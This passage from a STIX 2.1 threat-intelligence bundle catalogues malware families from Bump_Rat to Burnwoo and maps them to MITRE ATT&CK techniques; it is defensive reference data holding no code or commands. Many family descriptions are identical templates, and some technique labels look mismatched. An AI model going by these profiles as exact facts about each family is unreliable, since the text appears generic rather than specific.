      "source_ref": "malware--63dfecdd-ef3b-5a58-adc4-45826db8919b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bumat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b459e3f-292e-58d2-9ffc-8759b670833c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63dfecdd-ef3b-5a58-adc4-45826db8919b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bumat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dff80c04-c2e2-5a4a-8606-fde6d89490d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63dfecdd-ef3b-5a58-adc4-45826db8919b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bumat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fa512607-4d5e-5bbd-8a89-4d65f8c4d5cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bump_Rat",
      "description": "Bump-Rat is a specialized malware family that has drawn attention for its targeted application in cyber espionage campaigns. Unlike broadly distributed commodity malware, Bump-Rat is typically deployed post-compromise as a secondary payload, designed specifically to maintain a stealthy and persistent foothold within high-value networks. It is characterized by its lightweight architecture and modular design, allowing operators to deploy specific functional plugins as needed, thereby minimizing its overall footprint on the host system. Bump-Rat's primary functions include executing arbitrary shell commands, exfiltrating targeted documents, and mapping internal network topologies. To evade detection, it often utilizes uncommon communication protocols or piggybacks on legitimate network traffic, making it challenging for standard intrusion detection systems to flag. Analyzing Bump-Rat requires deep forensic capabilities and behavioral monitoring.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BumpRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bump_Rat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bump_rat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14873c65-16ca-511e-9685-3352e44a418f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa512607-4d5e-5bbd-8a89-4d65f8c4d5cc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bump_Rat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afa85add-5503-58fd-939a-77e32fc22209",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa512607-4d5e-5bbd-8a89-4d65f8c4d5cc",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bump_Rat exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5776604d-5f8f-5e0a-9a43-d4d3dfb7a808",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa512607-4d5e-5bbd-8a89-4d65f8c4d5cc",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bump_Rat exhibits technique T1046 (Network Service Scanning)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f445ccef-aef0-5c48-a568-1fcbfc49f656",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa512607-4d5e-5bbd-8a89-4d65f8c4d5cc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bump_Rat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66ed6185-d663-540c-a332-a840e9765a6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa512607-4d5e-5bbd-8a89-4d65f8c4d5cc",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bump_Rat exhibits technique T1090 (Proxy)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d2f0c9a-fb0d-586f-aef7-b946d2c81d20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bundleloader",
      "description": "Bundleloader (classified in antivirus detection telemetry under designations including TrojanDownloader:Win32/Bundleloader, TrojanDownloader.Win32.Bundleloader, and Win32/Bundleloader) is a stealthy staging trojan engineered to establish host persistence and download secondary crimeware payloads onto compromised endpoints. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bundleloader executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include sandbox evasion, staging directory payload extraction, autostart registry configuration, and encrypted HTTP/HTTPS payload delivery. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Bundleloader",
        "TrojanDownloader.Win32.Bundleloader",
        "Win32/Bundleloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bundleloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bundleloader"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02160a38-f769-58ff-ac9f-31626d100ecf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d2f0c9a-fb0d-586f-aef7-b946d2c81d20",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bundleloader exhibits technique T1189 (Drive-by Compromise (Distribution via third-party software portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0432714-26f2-57ba-a54e-90da1eb299d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d2f0c9a-fb0d-586f-aef7-b946d2c81d20",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bundleloader exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering via deceptive installer UI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da86ae55-ac4c-5186-871a-9d3932e286c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d2f0c9a-fb0d-586f-aef7-b946d2c81d20",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bundleloader exhibits technique T1105 (Ingress Tool Transfer (Downloading the bundled adware/PUPs))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8f1f7b0-3797-5697-822d-7dc970f31a36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bundlore",
      "description": "Bundlore (tracked across security vendors under designations including Adware:OSX/Bundlore, Adware:Win32/Bundlore, OSX.Bundlore, and Shlayer/Bundlore variant) is a cross-platform adware bundler and unwanted application distribution platform affecting both macOS and Microsoft Windows operating systems. Known for its sophisticated evasive packaging, Bundlore typically masquerades as illegitimate media players, Flash Player updates, video converters, or software cracks hosted on malicious landing pages. Upon execution, Bundlore runs anti-analysis routines to detect virtual machines, debugging environments, and security monitoring software. The installer dynamically contacts remote advertising C2 servers to fetch encrypted configuration payloads. Bundlore extracts and installs multiple unwanted components, including rogue browser extensions, proxy configurations, and man-in-the-middle certificates. These components inject banners, pop-up ads, and affiliate tracking cookies into encrypted HTTPS web traffic, while establishing persistent autostart mechanisms (such as macOS LaunchAgents/LaunchDaemons or Windows Scheduled Tasks and Run registry entries). (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:OSX/Bundlore",
        "Adware:Win32/Bundlore",
        "OSX/Bundlore",
        "Win32/Bundlore",
        "Bundlore Installer",
        "OSX.Bundlore"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bundlore",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bundlore"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20118e71-f46b-5c19-ba6c-aa03225cee3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8f1f7b0-3797-5697-822d-7dc970f31a36",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bundlore exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acd1306a-0c6a-5d7f-8cf0-119eec65ed62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8f1f7b0-3797-5697-822d-7dc970f31a36",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bundlore exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1546: Event Triggered Execution: Browser Shortcut Modification",
      "description": "MITRE ATT&CK Technique T1546 (Event Triggered Execution: Browser Shortcut Modification) under tactic Privilege Escalation.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1546",
          "url": "https://attack.mitre.org/techniques/T1546/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cd89279-d5bd-56db-9171-e6f987f30706",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8f1f7b0-3797-5697-822d-7dc970f31a36",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bundlore exhibits technique T1546 (Event Triggered Execution: Browser Shortcut Modification)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1b837f6-8a09-515f-bce3-5b570e94c39e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8f1f7b0-3797-5697-822d-7dc970f31a36",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bundlore exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35455875-6992-5d0f-9d46-2208849bd5b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8f1f7b0-3797-5697-822d-7dc970f31a36",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bundlore exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be8a05a6-7d01-525f-800e-fe72a9ed915e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bunitu",
      "description": "Bunitu (cataloged across security intelligence feeds under signatures including Trojan:Win32/Bunitu, Trojan.Win32.Bunitu, and Trojan.Bunitu) is a persistent proxy botnet trojan discovered in 2014 that covertly commandeers compromised Windows computers into distributed residential proxy exit nodes. Distributed primarily through exploit kits (such as Angler and Neutrino) and bundled freeware droppers, Bunitu establishes persistence through autostart registry entries and initializes a local SOCKS and HTTP proxy server listening on dynamically selected TCP ports. The malware establishes reverse connection tunnels to remote botnet controller nodes, enabling threat actors, spam operators, and bulletproof proxy providers to route malicious web traffic\u2014including credential stuffing attacks, financial fraud, click fraud, and vulnerability scanning\u2014through the victim's residential IP address to bypass geo-blocking and IP reputation filters. (Observed samples in benchmark: 49)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bunitu",
        "Trojan.Win32.Bunitu",
        "Trojan.Bunitu",
        "Win32/Bunitu",
        "Bunitu Proxy Bot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bunitu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bunitu"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eaa00055-1090-5eed-aaf2-2b7197655e1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be8a05a6-7d01-525f-800e-fe72a9ed915e",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunitu exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89990cf5-2295-54bd-9351-3c0c901a9a09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be8a05a6-7d01-525f-800e-fe72a9ed915e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunitu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05e16e69-c8ea-5b8b-b5ba-3e30eddaeb68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be8a05a6-7d01-525f-800e-fe72a9ed915e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunitu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05c96c66-56ca-5940-b287-4d286729cb0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be8a05a6-7d01-525f-800e-fe72a9ed915e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunitu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4832261f-c438-5cb4-94db-def371181992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be8a05a6-7d01-525f-800e-fe72a9ed915e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunitu exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d1d4964-755c-5112-8aee-4b6b38b1f3ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bunndle",
      "description": "Bunndle (classified in antivirus detection telemetry under designations including Trojan:Win32/Bunndle, Trojan.Win32.Bunndle, and Win32/Bunndle) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bunndle executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bunndle",
        "Trojan.Win32.Bunndle",
        "Win32/Bunndle"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bunndle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bunndle"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98fae8e1-74bd-5d5f-9fe4-19b68f462c26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d1d4964-755c-5112-8aee-4b6b38b1f3ae",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunndle exhibits technique T1189 (Drive-by Compromise (Deceptive software downloading))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa157b4b-238c-5618-8976-5009d29c6829",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d1d4964-755c-5112-8aee-4b6b38b1f3ae",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunndle exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f02ba6a-5e01-5381-ab53-71d8f734d7d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d1d4964-755c-5112-8aee-4b6b38b1f3ae",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunndle exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ec537a6-6ca6-5542-93dd-28e309962478",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d1d4964-755c-5112-8aee-4b6b38b1f3ae",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bunndle exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--16911cc7-a28d-587b-91f8-021c24352ae8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Burden",
      "description": "Burden (classified in antivirus detection telemetry under designations including Ransom:Win32/Burden, Ransom.Win32.Burden, and Win32/Burden) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Burden executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Burden",
        "Downloader.Burden",
        "Win32/Burden",
        "Ransom:Win32/Burden",
        "Ransom.Win32.Burden"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Burden",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/burden"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c008898-c24c-5a1e-840a-c07f5b8ecf75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16911cc7-a28d-587b-91f8-021c24352ae8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Burden exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec626762-8b1c-58c1-b01e-df267e20d6af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16911cc7-a28d-587b-91f8-021c24352ae8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Burden exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1a4ca92-6f8a-59d9-bd1d-c3c165429449",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16911cc7-a28d-587b-91f8-021c24352ae8",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Burden exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e10fb2b2-402c-5c5d-adf1-a28261db43fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Burnwoo",
      "description": "Burnwoo (classified in antivirus detection telemetry under designations including Ransom:Win32/Burnwoo, Ransom.Win32.Burnwoo, and Win32/Burnwoo) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Burnwoo executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Burnwoo",
        "Downloader.Burnwoo",
        "Win32/Burnwoo",
        "Ransom:Win32/Burnwoo",
        "Ransom.Win32.Burnwoo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Burnwoo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/burnwoo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbc004ce-addd-5b29-a106-6a2144b63eed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e10fb2b2-402c-5c5d-adf1-a28261db43fd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Burnwoo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef451414-8b35-5f0b-8d1e-709c6104b478",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e10fb2b2-402c-5c5d-adf1-a28261db43fd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Burnwoo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--335d95f1-b724-547a-8784-fb7d42152bdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e10fb2b2-402c-5c5d-adf1-a28261db43fd",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Burnwoo exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d277b33c-a381-5a8d-9f23-a3b4695ff249",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Busky",
